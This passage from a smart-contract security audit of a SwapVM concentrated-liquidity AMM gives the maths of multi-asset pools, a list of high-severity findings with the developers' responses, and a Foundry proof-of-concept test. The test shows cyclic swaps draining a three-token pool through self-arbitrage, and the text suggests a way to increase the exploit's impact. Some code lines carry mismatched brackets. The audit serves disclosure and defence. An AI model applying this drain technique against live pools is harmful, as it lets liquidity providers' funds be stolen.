Each operation that can incur rounding error (division, square root) should be considered thoughtfully and carefully to determine the correct rounding direction. There are no trivial decisions in determining which direction to round a given (sub-)quantity. In some cases, a quantity may need to be rounded in both directions for use in different contexts. The future use of each quantity and its proportionate effect on the resulting amount{In,Out} is the ultimate factor that determines which direction you should round. All quantities should be rounded in a way that is most disadvantageous to the taker.

More Than 2 Assets

The formulation of the concentrated-liquidity constant-product AMM as implemented, as well as the one described above, ***DO NOT*** generalise to more than 2 tokens. For a system with three tokens, A, B, and C, a swap in the direction A→B induces a new price for the A↔B pair. In order to ensure soundness for the underlying strategy, it is required that the new prices for the A↔C and B↔C pairs multiply to the A↔B price. Failing this, the pool creates a condition for self-arbitrage where a swap A→B→C→A (or some permutation thereof) is net positive for the taker in one or more of the tokens A, B, or C. Consequently, a technique of attack to drain the pool involves imbalancing the A↔B pair, extracting the arbitrage via a cyclic swap, and then

restoring the A↔B pair. This can be repeated until the strategy is drained of its underlying collateral.

In general, an n-asset constant-function automated market maker (CFAMM) must be represented with a single invariant function over the balances of all n assets. It cannot (in general) be decomposed into „n choose 2" independent CFAMMs while preserving one global invariant. It is a coincidence that this is possible for the "normal" (non-concentrated) n-asset constant-product AMM.

Sketch of a Solution

Fully generalising the concept of concentrated-liquidity constant-product AMMs to >2 assets requires making some assumptions about the desired behaviour. The first assumption is the combinatorial type of the volume in price space within which liquidity is concentrated. The most expedient choice here is the simplex (a triangle) in log-price (tick) space, where each face of the simplex represents liquidity depletion in one of the assets.

General Pattern of Swapping

In general, the technique for swapping against this class of CFAMM involves the following steps:

1. Compute the invariant value from the real reserves and CFAMM parameters (determine L from price limits and b_x, b_y, b_z, ...; L should not be stored between swaps).
2. Compute the reserve offsets from the invariant and the CFAMM parameters (determine δ_x, δ_y, δ_z, ... from L and price limits).
3. Compute the virtual reserves from the real balances and the offsets; discard the offsets (determine x, y, z, ... from δ_x, δ_y, δ_z, ... and b_x, b_y, b_z, ...).
4. Offset the virtual reserves of the specified token in the desired direction (if exact-in and x-for-y, determine x_1 as x_0 + amountIn; if exact-out and y-for-x, determine x_1 as x_0 - amountOut).
5. Solve the constant function (holding L constant) to obtain the virtual reserves of the unspecified token (if x is specified and y unspecified, rearrange the constant function to isolate y and compute)
6. Compute the swap delta in the unspecified token from the change in the virtual reserves of the unspecified token (if x-for-y and exact-in, compute amountOut as $y_0 - y_1$; if y-for-x and exact-out, compute amountIn as $y_1 - y_0$).

Maths

Let $\vec{x}$ be the vector composed of the virtual balances of the underlying tokens.

$$\vec{x} = \langle b_0 + \delta_0, b_1 + \delta_1, \ldots, b_{n-1} + \delta_{n-1} \rangle$$

Set L to be the geometric mean of the virtual balances of the underlying tokens:

$$L = \sqrt[n]{\prod_{i=0}^{n-1} \vec{x}_i}$$

Then define parameters that give rise to the region of concentrated liquidity in log-price (tick) space:

$$\sum_{i=0}^{n-1} ln(\vec{p}_i) < 0$$

The parameter(s) $\vec{p}$ are analogous to the price limits in the 2-asset case. This is not *technically* a price, but we refer to it as such to give intuition. This intuition may be misleading to a user familiar with the operational practice of setting price limits in the 2-asset case. You can think of it like a price with an arbitrary (abstract) numeraire. A more rigorous description is that it is a normalised virtual reserve offset. The above inequality is the feasibility condition for the liquidity-concentration region (the condition under which the simplex is non-empty). $\vec{p}$ defines the price bounds where liquidity concentration and trading happen. Each facet of the n-simplex of the region is the boundary where the price of one of the assets has reached its limit and the AMM is depleted.

Real spot prices $\vec{q} = \vec{x}/L$ satisfy:

$$\sum_{i=0}^{n-1} ln(\vec{q}_i) = 0$$

as well as the price-bounds condition:

$$\vec{q}_i \geq \vec{p}_i$$

The intersection of these conditions gives rise to the simplex-shaped region in log-price space that is the region of concentrated liquidity.

From $\vec{q}$ we derive the formula for a pairwise spot price for some tokens i and j:

$$P_{i/j} = \frac{\vec{q}_j}{\vec{q}_i} = \frac{\vec{x}_j}{\vec{x}_i}$$

We can then define the virtual reserve offsets $\vec{\delta}$ very simply in terms of the price limits and the liquidity:

$$\vec{\delta} = \vec{p} \cdot L$$

This gives us an alternative expression for the pairwise spot price:

$$P_{i/j} = \frac{b_j + \delta_j}{b_i + \delta_i} = \frac{b_j + \vec{p}_j \cdot L}{b_i + \vec{p}_i \cdot L}$$

Conclusion

The core issue with this approach (the solution of which is beyond our scope) is that there is no *general* analytic expression for L. (Specific, extremely ugly analytic expressions exist for $n = 3$ and $n = 4$.) L can be found iteratively using bisection or Newton's method. Likewise, the techniques for obtaining an in-bounds, numerically stable, overflow-free implementation are beyond our scope.

$$\sum_{i=0}^{n-1} \quad ln\left(\vec{p}_i + \frac{b_i}{L}\right) = 0$$

Unfortunately, the convenient linearity between Δx and $\sqrt{P}$ from the 2-asset case does not generalise to the n-asset case.

Proof-of-concept Exploit for 3-asset XYCConcentrate

The following is a Foundry invariant (stateful fuzzing) test that demonstrates that even when conservatively (see: computeDeltas is not meaningful for >2 assets) configured, a 3-asset XYCConcentrate strategy generates self-arbitrage during swapping. This self-arbitrage can be exploited to drain the pool of its reserves. The two invariant functions at the bottom of this file (invariant_takerDidNotGainMoney and invariant_makerDidNotLoseMoney) check that not only does the taker not gain *value* in their portfolio relative to the price implied by the AMM, but that the taker's portfolio *in each individual asset* does not exceed the initial balance; conversely we also check that the maker's portfolio does not go below the initial balance.

Copy this file into the repository at the path test/XYCConcentrate3PoolPoC.t.sol and execute it with the command in the comment at the top of the file. Observe that (after some time; invariant tests are slow) the test bench finds a combination of swaps that results in draining the maker's balance to the taker. Finding an exploit with greater impact can be done by modifying this invariant test to a optimization test; this functionality is supported by Foundry, but is not well-documented.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.30;

// run this test like this
// FOUNDRY_INVARIANT_CORPUS_DIR=./cache/corpus FOUNDRY_INVARIANT_SHOW_SOLIDITY=true
FOUNDRY_INVARIANT_SHRINK_RUN_LIMIT=10000 FOUNDRY_INVARIANT_FAIL_ON_REVERT=true
FOUNDRY_INVARIANT_RUNS=5000 FOUNDRY_INVARIANT_DEPTH=20 forge test --mp
test/XYCConcentrate3PoolPoC.t.sol

import { Test } from "forge-std/Test.sol";
import { Vm } from "forge-std/Vm.sol";

import { TokenMock } from "@1inch/solidity-utils/contracts/mocks/TokenMock.sol";
import { Aqua } from "@1inch/aqua/src/Aqua.sol";

import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";

import { OpcodesDebug } from "../src/opcodes/OpcodesDebug.sol";

import { SwapVM, ISwapVM } from "../src/SwapVM.sol";
import { SwapVMRouter } from "../src/routers/SwapVMRouter.sol";
import { MakerTraitsLib } from "../src/libs/MakerTraits.sol";
import { TakerTraits, TakerTraitsLib } from "../src/libs/TakerTraits.sol";
import { FormatLib } from "./utils/FormatLib.sol";
import { Program, ProgramBuilder } from "./utils/ProgramBuilder.sol";
```

```
import { dynamic } from "./utils/Dynamic.sol";
import { Balances, BalancesArgsBuilder } from "../src/instructions/Balances.sol";
import { Controls, ControlsArgsBuilder } from "../src/instructions/Controls.sol";

import { Fee, FeeArgsBuilder } from "../src/instructions/Fee.sol";
import { XYCConcentrate, XYCConcentrateArgsBuilder } from "../src/instructions/XYCConcentrate.sol";
import { XYCConcentrateExperimental } from "../src/instructions/XYCConcentrateExperimental.sol";
import { XYCSwap } from "../src/instructions/XYCSwap.sol";

contract XYCConcentratePoC is Test, OpcodesDebug {
    using SafeCast for uint256;
    using FormatLib for Vm;
    using ProgramBuilder for Program;

    constructor() OpcodesDebug(address(new Aqua())) { }

    SwapVMRouter internal swapVM;
    address internal tokenA;
    address internal tokenB;
    address internal tokenC;

    address internal maker;
    uint256 internal makerPrivateKey;
    address internal taker = makeAddr("taker");

    uint256 internal initialTakerBalanceA;
    uint256 internal initialTakerBalanceB;
    uint256 internal initialTakerBalanceC;
    uint256 internal initialMakerBalanceA;
    uint256 internal initialMakerBalanceB;
    uint256 internal initialMakerBalanceC;
    bool internal initialized;

    MakerSetup _setup;

    function setUp() public {
        excludeContract(address(_AQUA));

        FuzzSelector memory inclSel;
        inclSel.addr = address(this);
        inclSel.selectors = new bytes4[](8);
        inclSel.selectors[0] = this.swapAForB.selector;
        inclSel.selectors[1] = this.swapBForA.selector;
        inclSel.selectors[2] = this.swapAForC.selector;
        inclSel.selectors[3] = this.swapCForA.selector;
        inclSel.selectors[4] = this.swapBForC.selector;
```

```
inclSel.selectors[5] = this.swapCForB.selector;
inclSel.selectors[6] = this.collectABCA.selector;
inclSel.selectors[7] = this.collectACBA.selector;
targetSelector(inclSel);

excludeContract(address(taker));

// if all of the legs of the strategy are configured identically, this
// exploit isn't feasible.
_setup = MakerSetup({
    growLiquidityInsteadOfPriceRange: true,
    balanceA: 20_000e18,
    balanceB: 3000e18,
    balanceC: 100e18,
    flatFee: 0,
    // the `priceBound` parameters aren't particularly meaningful, but
    // if you tweak this, you may have to shuffle the price bounds in
    // `_createOrder` to avoid a revert
    priceBoundA: 0.01e18, // XYCConcentrate tokenA to 100x
    priceBoundB: 25e18, // XYCConcentrate tokenB to 25x
    priceBoundC: 1e18 // XYCConcentrate tokenC to 1x
});

// Setup maker with known private key for signing
makerPrivateKey = 0x1234;
maker = vm.addr(makerPrivateKey);
excludeContract(address(maker));

// Deploy custom SwapVM router
swapVM = new SwapVMRouter(address(0), "SwapVM", "1.0.0");
excludeContract(address(swapVM));

// Deploy mock tokens
tokenA = address(new TokenMock("Token A", "TKA"));
excludeContract(address(tokenA));
tokenB = address(new TokenMock("Token B", "TKB"));
excludeContract(address(tokenB));
tokenC = address(new TokenMock("Token C", "TKC"));
excludeContract(address(tokenC));

// Setup initial balances
TokenMock(tokenA).mint(maker, 1_000_000_000e18);
TokenMock(tokenB).mint(maker, 1_000_000_000e18);
TokenMock(tokenC).mint(maker, 1_000_000_000e18);
TokenMock(tokenA).mint(taker, 1_000_000_000e18);
TokenMock(tokenB).mint(taker, 1_000_000_000e18);
```

```
        TokenMock(tokenC).mint(taker, 1_000_000_000e18);

        // Approve SwapVM to spend tokens by maker
        vm.prank(maker);
        TokenMock(tokenA).approve(address(swapVM), type(uint256).max);
        vm.prank(maker);
        TokenMock(tokenB).approve(address(swapVM), type(uint256).max);
        vm.prank(maker);
        TokenMock(tokenC).approve(address(swapVM), type(uint256).max);

        // Approve SwapVM to spend tokens by taker
        vm.prank(taker);
        TokenMock(tokenA).approve(address(swapVM), type(uint256).max);
        vm.prank(taker);
        TokenMock(tokenB).approve(address(swapVM), type(uint256).max);
        vm.prank(taker);
        TokenMock(tokenC).approve(address(swapVM), type(uint256).max);

        initialTakerBalanceA = TokenMock(tokenA).balanceOf(taker);
        initialTakerBalanceB = TokenMock(tokenB).balanceOf(taker);
        initialTakerBalanceC = TokenMock(tokenC).balanceOf(taker);
        initialMakerBalanceA = TokenMock(tokenA).balanceOf(maker);
        initialMakerBalanceB = TokenMock(tokenB).balanceOf(maker);
        initialMakerBalanceC = TokenMock(tokenC).balanceOf(maker);
    }

    struct MakerSetup {
        bool growLiquidityInsteadOfPriceRange;
        uint256 balanceA;
        uint256 balanceB;
        uint256 balanceC;
        uint256 flatFee;
        uint256 priceBoundA;
        uint256 priceBoundB;
        uint256 priceBoundC;
    }

    function _createOrder(MakerSetup memory setup)
        internal
        view
        returns (ISwapVM.Order memory order, bytes memory signature, bytes32 orderHash)
    {
        (uint256 deltaA0, uint256 deltaB0, uint256 liquidity0) = XYCConcentrateArgsBuilder.computeDeltas(
            setup.balanceA, setup.balanceB, 1e18, setup.priceBoundA, setup.priceBoundB
        );
        (uint256 deltaA1, uint256 deltaC0, uint256 liquidity1) = XYCConcentrateArgsBuilder.computeDeltas(
```

```
    setup.balanceA, setup.balanceC, 1e18, setup.priceBoundA, setup.priceBoundC
];
(uint256 deltaC1, uint256 deltaB1, uint256 liquidity2) = XYCConcentrateArgsBuilder.computeDeltas(
    setup.balanceC, setup.balanceB, 1e18, setup.priceBoundC, setup.priceBoundB
);

// this configuration here where we choose the smallest delta and the
// smallest liquidity isn't important. the choice here is conservative,
// making it more difficult to exploit the pool. however, this does not
// prevent the exploit
uint256 deltaA = deltaA0 < deltaA1 ? deltaA0 : deltaA1;
uint256 deltaB = deltaB0 < deltaB1 ? deltaB0 : deltaB1;
uint256 deltaC = deltaC0 < deltaC1 ? deltaC0 : deltaC1;
liquidity1 = liquidity1 < liquidity2 ? liquidity1 : liquidity2;
uint256 liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;

Program memory program = ProgramBuilder.init(_opcodes());
order = MakerTraitsLib.build(
    MakerTraitsLib.Args({
        maker: maker,
        shouldUnwrapWeth: false,
        useAquaInsteadOfSignature: false,
        allowZeroAmountIn: false,
        receiver: address(0),
        hasPreTransferInHook: false,
        hasPostTransferInHook: false,
        hasPreTransferOutHook: false,
        hasPostTransferOutHook: false,
        preTransferInTarget: address(0),
        preTransferInData: "",
        postTransferInTarget: address(0),
        postTransferInData: "",
        preTransferOutTarget: address(0),
        preTransferOutData: "",
        postTransferOutTarget: address(0),
        postTransferOutData: "",
        program: bytes.concat(
            program.build(
                Balances._dynamicBalancesXD,
                BalancesArgsBuilder.build(
                    dynamic([address(tokenA), address(tokenB), address(tokenC)]),
                    dynamic([setup.balanceA, setup.balanceB, setup.balanceC])
                )
            ),
            setup.growLiquidityInsteadOfPriceRange
                ? program.build(
```

```
                XYCConcentrate._xycConcentrateGrowLiquidityXD,
                XYCConcentrateArgsBuilder.buildXD(
                    dynamic([tokenA, tokenB, tokenC]), dynamic([deltaA, deltaB, deltaC]), liquidity
                )
            )
            : program.build(
                XYCConcentrateExperimental._xycConcentrateGrowPriceRangeXD,
                XYCConcentrateArgsBuilder.buildXD(
                    dynamic([tokenA, tokenB, tokenC]), dynamic([deltaA, deltaB, deltaC]), liquidity
                )
            ),
        program.build(Fee._flatFeeAmountInXD, FeeArgsBuilder.buildFlatFee(setup.flatFee.toUint32())),
        program.build(XYCSwap._xycSwapXD)
      ]
    })
  ];

  orderHash = swapVM.hash(order);
  (uint8 v, bytes32 r, bytes32 s) = vm.sign(makerPrivateKey, orderHash);
  signature = abi.encodePacked(r, s, v);
}

struct TakerSetup {
  bool isExactIn;
}

function _quotingTakerData(TakerSetup memory takerSetup) internal view returns (bytes memory takerData) {
  return TakerTraitsLib.build(
    TakerTraitsLib.Args({
      taker: taker,
      isExactIn: takerSetup.isExactIn,
      shouldUnwrapWeth: false,
      hasPreTransferInCallback: false,
      hasPreTransferOutCallback: false,
      isStrictThresholdAmount: false,
      isFirstTransferFromTaker: false,
      useTransferFromAndAquaPush: false,
      threshold: "", // no minimum output
      to: address(0),
      deadline: 0,
      preTransferInHookData: "",
      postTransferInHookData: "",
      preTransferOutHookData: "",
      postTransferOutHookData: "",
      preTransferInCallbackData: "",
      preTransferOutCallbackData: "",
```

```
            instructionsArgs: "",
            signature: ""
        }]
    );
}

function _swappingTakerData(bytes memory takerData, bytes memory signature) internal view returns (bytes memory) {
    // Just need to rebuild the takerData with signature for swapping
    // Since the original takerData was built for quoting (with empty signature),
    // we need to extract the isExactIn flag first (first two bytes contain flags)
    bool isExactIn = (uint16(uint176(bytes22(takerData))) & 0x0001) != 0;

    return TakerTraitsLib.build(
        TakerTraitsLib.Args({
            taker: taker,
            isExactIn: isExactIn,
            shouldUnwrapWeth: false,
            isStrictThresholdAmount: false,
            isFirstTransferFromTaker: false,
            useTransferFromAndAquaPush: false,
            threshold: "",
            to: address(0),
            deadline: 0,
            hasPreTransferInCallback: false,
            hasPreTransferOutCallback: false,
            preTransferInHookData: "",
            postTransferInHookData: "",
            preTransferOutHookData: "",
            postTransferOutHookData: "",
            preTransferInCallbackData: "",
            preTransferOutCallbackData: "",
            instructionsArgs: "",
            signature: signature
        }]
    );
}

function _swap(
    address tokenIn,
    address tokenOut,
    uint256 amount,
    uint256 initialBalance,
    MakerSetup memory setup
)
    internal
```

```
        returns (uint256 amountOut)
    {
        (ISwapVM.Order memory order, bytes memory signature, bytes32 orderHash) = _createOrder(setup);

        uint256 balance = swapVM.balances(orderHash, tokenIn);
        if (initialized) {
            if (balance < 1 wei) {
                require(swapVM.balances(orderHash, tokenOut) != 0, "what");
                vm.assume(false);
            }
            amount = bound(amount, 1 wei, balance);
        } else {
            amount = bound(amount, 1 wei, initialBalance);
        }

        // Setup taker traits and data
        bytes memory quoteExactIn = _quotingTakerData(TakerSetup({ isExactIn: true }));
        bytes memory swapExactIn = _swappingTakerData(quoteExactIn, signature);

        vm.prank(taker);
        try swapVM.swap(order, tokenIn, tokenOut, amount, swapExactIn) returns (uint256, uint256 _amountOut,
bytes32) {
            amountOut = _amountOut;
            initialized = true;
        } catch {}
    }

    function swapAForB(uint256 amount) external returns (uint256) {
        MakerSetup memory setup = _setup;
        return _swap(tokenA, tokenB, amount, setup.balanceA, setup);
    }

    function swapBForA(uint256 amount) external returns (uint256) {
        MakerSetup memory setup = _setup;
        return _swap(tokenB, tokenA, amount, setup.balanceB, setup);
    }

    function swapAForC(uint256 amount) external returns (uint256) {
        MakerSetup memory setup = _setup;
        return _swap(tokenA, tokenC, amount, setup.balanceA, setup);
    }

    function swapCForA(uint256 amount) external returns (uint256) {
        MakerSetup memory setup = _setup;
        return _swap(tokenC, tokenA, amount, setup.balanceC, setup);
    }
```

```
function swapBForC(uint256 amount) external returns (uint256) {
    MakerSetup memory setup = _setup;
    return _swap(tokenB, tokenC, amount, setup.balanceB, setup);
}

function swapCForB(uint256 amount) external returns (uint256) {
    MakerSetup memory setup = _setup;
    return _swap(tokenC, tokenB, amount, setup.balanceC, setup);
}

function _collect(
    address token0,
    address token1,
    address token2,
    address token3,
    uint256 amount,
    uint256 initialBalance,
    MakerSetup memory setup
)
    internal
    returns (uint256)
{
    if (amount == 0) {
        return amount;
    }
    amount = _swap(token0, token1, amount, initialBalance, setup);
    if (amount == 0) {
        return amount;
    }
    amount = _swap(token1, token2, amount, 0, setup);
    if (amount == 0) {
        return amount;
    }
    return _swap(token2, token3, amount, 0, setup);
}

function collectABCA(uint256 amount) external returns (uint256) {
    MakerSetup memory setup = _setup;
    return _collect(tokenA, tokenB, tokenC, tokenA, amount, setup.balanceA, setup);
}

function collectACBA(uint256 amount) external returns (uint256) {
    MakerSetup memory setup = _setup;
    return _collect(tokenA, tokenC, tokenB, tokenA, amount, setup.balanceA, setup);
}
```

```
    function invariant_takerDidNotGainMoney() external view {
        assertTrue(
            TokenMock(tokenA).balanceOf(taker) <= initialTakerBalanceA
                || TokenMock(tokenB).balanceOf(taker) <= initialTakerBalanceB
                || TokenMock(tokenC).balanceOf(taker) <= initialTakerBalanceC,
            "taker gained"
        );
    }

    function invariant_makerDidNotLoseMoney() external view {
        assertTrue(
            TokenMock(tokenA).balanceOf(maker) >= initialMakerBalanceA
                || TokenMock(tokenB).balanceOf(maker) >= initialMakerBalanceB
                || TokenMock(tokenC).balanceOf(maker) >= initialMakerBalanceC,
            "maker lost"
        );
    }
}
```

Privileged Functions

- none

Issue_59	XYCConcentrateArgsBuilder.parse2D doesn't validate tokens
Severity	**High**
Description	XYCConcentrateArgsBuilder.parse2D function doesn't check that tokenIn and/or tokenOut are the tokens that the strategy was constructed with. Unless it's validated elsewhere (e.g. by Balances). In "signature" mode, the taker can supply any arbitrary tokens (with wildly different prices from those implied by the strategy) and swap against the maker's capital. This is specifically true because XYCConcentrate builds amountIn/Out itself, without actually requiring another program to be set additionally (especially important to mention that Balances is not even inherited within this router). It has to be noted that in fact the XD mechanism does validate tokens: *if (ctx.query.tokenIn == token) {* *ctx.swap.balanceIn = concentratedBalance(ctx.query.orderHash, ctx.swap.balanceIn, delta, initialLiquidity);* *} else if (ctx.query.tokenOut == token) {* *ctx.swap.balanceOut = concentratedBalance(ctx.query.orderHash, ctx.swap.balanceOut, delta, initialLiquidity);* *}* This vulnerability allows for stealing assets from the maker.
Recommendations	Consider implementing validation that tokenIn/tokenOut are tied to the strategy.
Comments / Resolution	Partially resolved. The protocol team added the following comment: "NOT VALID - Token validation happens via: **Signature mode -**

	balance instructions encode tokens in program bytecode (part of orderHash); Aqua mode - safeBalances with unique orderHash prevents cross-strategy access. Documented in README.md." This comment is not fully accurate; it is coincidentally the case that after the removal of the liquidity[] mapping, the maths for XYCConcentrate prevents swapping on incorrect tokens. Without balance{In,Out} being loaded by an instruction like Balances, the XYCSwap instruction downstream of the new XYCConcentrate implementation prevents (meaningful) swapping. If this were ever to not be the case, this vulnerability could reappear. This finding was resolved by the same changes that resolved Issue "_xycConcentrateGrowLiquidityXD grows liquidity for unrelated tokens",. However, per comments and indications it appears that this finding was not intentionally resolved but rather due to the interconnection explained above.

Issue_60	XYCConcentrateArgsBuilder.computeDeltas is overspecified
Severity	**High**
Description	The 5 arguments to computeDeltas are: • balanceA • balanceB • price • priceMin • priceMax Given that the stated intention of this function is to find the virtual balance offsets that bound a region with a single value of liquidity, that ranges from priceMin to priceMax (reaching zero real reserve in one token at each price terminus), and that has a spot price of price when real reserves are balanceA and balanceB, this function is overspecified. In general, there is no single value of liquidity that satisfies all these constraints. There must either be slack in the system or one or more of the constraints must be relaxed.
Recommendations	Change the schema of computeDeltas so that price is returned from the function, not an argument. Let the returned price be the value implied by the real reserves, balanceA and balanceB, that are the arguments to computeDeltas. Refer to the Appendix above for details on this construction. Refer to the next issue about the actual implementation of computeDeltas.
Comments / Resolution	Resolved, now the user only passes in the price limits and the liquidity is constructed each time with the current balances

Issue_61	XYCConcentrateArgsBuilder.computeDeltas does not obey price limits
Severity	**High**
Description	The price of a concentrated-liquidity constant-product AMM is defined as the ratio of the virtual reserves. In other words: $$price = \frac{balanceB + deltaB}{balanceA + deltaA}$$ Consider the following scenario: balanceA 1000 balanceB 1000 price 1 priceMin 0.1 priceMax 100 XYCConcentrateArgsBuilder.computeDeltas returns the following: deltaA 462.475295610277914076 deltaB 111.11111111111111111 virtualReservesA 1462.475295610277914076 virtualReservesB 1111.11111111111111111 Then consider what happens when the taker buys the entire real reserves of tokenB: amountIn 13162.277660492501226698 amountOut 1000 newVirtualReservesA 14624.752956102779140774 newVirtualReservesB 111.11111111111111111 priceNew 0.00759746926629249 As you can see priceNew is considerably less than the minimum price defined during strategy construction.
Recommendations	In conjunction with the previous issues, reimplement XYCConcentrateArgsBuilder.computeDeltas in accordance with the formula given in the Appendix above:

	$$P_{spot} = \left(\frac{2 \cdot \frac{b_y}{b_x} \cdot \sqrt{P_{hi}}}{\left(\frac{b_y}{b_x} - \sqrt{P_{hi}P_{lo}}\right) + \sqrt{\left(\frac{b_y}{b_x} - \sqrt{P_{hi}P_{lo}}\right)^2 + 4 \cdot \frac{b_y}{b_x} \cdot P_{hi}}} \right)^2$$ $$L = \frac{b_y}{\sqrt{P_{spot}} - \sqrt{P_{lo}}} = \frac{b_x \cdot \sqrt{P_{hi} \cdot P_{spot}}}{\sqrt{P_{hi}} - \sqrt{P_{spot}}}$$ As repeatedly stated elsewhere in this audit, exercise extreme diligence in the observation of correct rounding direction for each (sub-)quantity involved in these computations to ensure that and inexact values are interpreted adversely to the taker.
Comments / Resolution	Resolved, now the user only passes in the price limits and the liquidity is constructed each time with the current balances which obeys the price limits. The formula implemented for the computation of L is not the formula above. However, it is correct (can be derived from the equations above) and more elegant. The computation of fourAC introduces additional rounding hazard due to multiply-after-divide (See Issue_XXXX: extra precision loss)

Issue_62	XYCConcentrate._xycConcentrateGrowLiquidityXD grows liquidity for unrelated tokens
Severity	**High**
Description	The instruction _xycConcentrateGrowLiquidityXD manages a single, common/shared value for liquidity among all of the „n choose 2" token pairs managed by an n-asset strategy. Ignoring the fact that this construction is inherently flawed (see Issue: "decomposition into pairwise AMMs is unsound"), updating the value stored in liquidity[] for fees accrued in an A↔B swap that may later be reused for a C↔D swap is incorrect. Increasing the liquidity for an unrelated token pair has the effect of increasing the virtual reserve offset (delta) for that pair. Since the virtual reserves are calculated as the sum of the virtual reserve offsets and the real balances, this has the effect of narrowing the concentration region for the C↔D pair. This also (usually) shifts the spot price for this pair (see Issue: "self-arbitrage"). It also nonlinearly affects the liquidity for that pair. The net result is that the liquidity for the unrelated pair is distorted from its initial configuration, mismatching the maker's initial intention. This creates unanticipated market-making risk.
Recommendations	Do not store liquidity[]. Recompute it on each call from the balances of all tokens in the strategy.
Comments / Resolution	Resolved. _xycConcentrateGrowLiquidityXD has been removed. The liquidity[] mapping has been removed. Liquidity (L) is now recomputed on every call to the instruction.

Issue_63	XYCConcentrate._xycConcentrateGrowLiquidityXD prices don't adjust for uninvolved tokens (self-arbitrage)
Severity	**High**
Description	Swapping on a >2-asset pool must cause the price of the uninvolved tokens to move exactly in step with the price of the involved tokens. Concretely, If a swap is made in the A→B direction, the price A→C→B should match exactly. If the A↔B price does not exactly match the A↔C↔B price, then the pool creates arbitrage with itself; rebalancing this arbitrage creates profit for the arbitrageur and loss for the market maker. See also Issue: [_xycConcentrateGrowLiquidityXD grows liquidity for unrelated tokens] See the PoC demonstrating an exploit of this behavior at the end of the Appendix above See the Appendix further above for a detailed description of the fundamental issue that gives rise to this behavior
Recommendations	In conjunction with Issue: [_xycConcentrateGrowLiquidityXD decomposition into pairwise AMMs is unsound], implement XYCConcentrate._xycConcentrateGrowLiquidityXD in terms of a single suitable invariant. Alternatively, remove concentrated-liquidity constant-product AMM functionality for >2 assets.
Comments / Resolution	Resolved. _xycConcentrateGrowLiquidityXD has been removed

Issue_64	XYCConcentrate._xycConcentrateGrowLiquidityXD decomposition into pairwise AMMs is unsound for >2 assets
Severity	**High**
Description	The typical way to construct an AMM with consistent marginal prices and smooth price impact is to construct it with an invariant function (with certain desirable properties, among which are differentiability, monotonicity, homogeneity, and concavity) on the reserves of the balance of the strategy. In the general case, the shape of the trading surface of the n-asset bonding curve cannot be decomposed into „n choose 2" independent 2-asset bonding curves. In the specific case of the un-concentrated constant-product AMM, the contribution to the invariant of the uninvolved assets cancels out and it *is* possible to decompose it. The case of the n-asset concentrated-liquidity constant-product AMM does not follow this pattern. To put it another way, the concentration in the A↔C direction affects how much liquidity is available in the A↔B direction. Therefore, it is necessary to formulate the concentrated invariant in light of not only the real reserves in the involved tokens, but also the reserves and price limits of each adjacent token upon which the strategy is built. In short, you cannot treat a 3-asset concentrated-liquidity constant-product AMM as 3 separate 2-asset concentrated-liquidity constant-product AMMs. You must involve all the tokens in each swap.
Recommendations	While it is not required, a correct implementation is made easier by adopting the changes suggested in Issue: [_xycConcentrateGrowLiquidityXD grows liquidity for unrelated tokens] Further changes: 1. Update the schema in VM.sol to provide a consistent representation of the strategy's reserves in the off-swap assets 2. Update the representation/parameterisation of the n-asset

	strategy in _xycConcentrateGrowLiquidityXD to succinctly represent liquidity concentration regions that are higher-dimensional polytopes 3. Implement the formula for the updated n-asset concentrated-liquidity invariant (L) 4. Compute the virtual reserve offsets from the n-asset invariant in the existing way ($\vec{\delta} = \vec{p} \cdot L$) Alternatively, limit the function of XYCConcentrate to only handle the simpler 2-asset case See the Appendix above for a more detailed discussion of the design choices and implementation recommendations
Comments / Resolution	Resolved. _xycConcentrateGrowLiquidityXD has been removed

Issue_65	XYCConcentrateArgsBuilder.computeDeltas inconsistent rounding direction
Severity	**High**
Description	Along with Issue: (computeDeltas does not obey price limits), and Issue: (computeDeltas ratios of square roots of prices are not dimensionally meaningful) which criticise the formula implemented in computeDeltas, even if that formula were correct, it is implemented with inconsistent rounding. While it is correct that liquidity should round down given the strategy parameters (only true given the ***current*** interaction between XYCConcentrate and XYCSwap; see Issue: XYCConcentrate computes virtual balances instead of real balance deltas), deltaA and deltaB are ambiguously rounded. deltaA and deltaB approximate the algebraic ideal of the formula implemented in computeDeltas, but they neither bound it above nor bound it below. A sophisticated taker can force the rounding to be advantageous, again resulting in a loss to the Maker relative to the algebraic ideal.
Recommendations	Carefully consider how the result of each inexact term will be used later in the computation. This is made more complicated by the bidirectional rounding implemented in XYCSwap and the loose coupling between XYCConcentrate and XYCSwap across the SwapVM abstraction boundary.
Comments / Resolution	Acknowledged, the entire mechanism has been modified, but rounding is still not ideal and this has been noted in a separate new issue

Issue_66	Liquidity calculation is incorrect in Fee → XYCConcentrate sequence for _flatFeeAmountInXD
Severity	**High**
Description	The XYCConcentrate._updateScales function uses ctx.swap.amountIn for its invariant calculation: *uint256 newInv = (ctx.swap.balanceIn + ctx.swap.amountIn) * (ctx.swap.balanceOut - ctx.swap.amountOut);* If the Fee module is triggered beforehand with _flatFeeAmountInXD, then ctx.swap.amountIn will be reflected as the net amountIn: *ctx.swap.amountIn -= feeAmountIn;* *ctx.runLoop();* However, in fact the fee is supposed to stay in the reserves, as it is never transferred out for the _flatFeeAmountInXD case (unlike for the protocol fee scenario). This results in an incorrect outcome of the invariant calculation and means it will be understated.
Recommendations	This issue is inherent by the design and the fact that the net amountIn is used for the loop within the Fee instruction. It can only be solved by ensuring that the concentration maths is never happening on the wrong input amount. We recommend adding NATSPEC to highlight this edge-case and make program creators aware of this situation.
Comments / Resolution	Resolved. Liquidity is now not cached but is recomputed every time with the current balance

Issue_67	Liquidity will be disrupted if combined with Decay
Severity	High
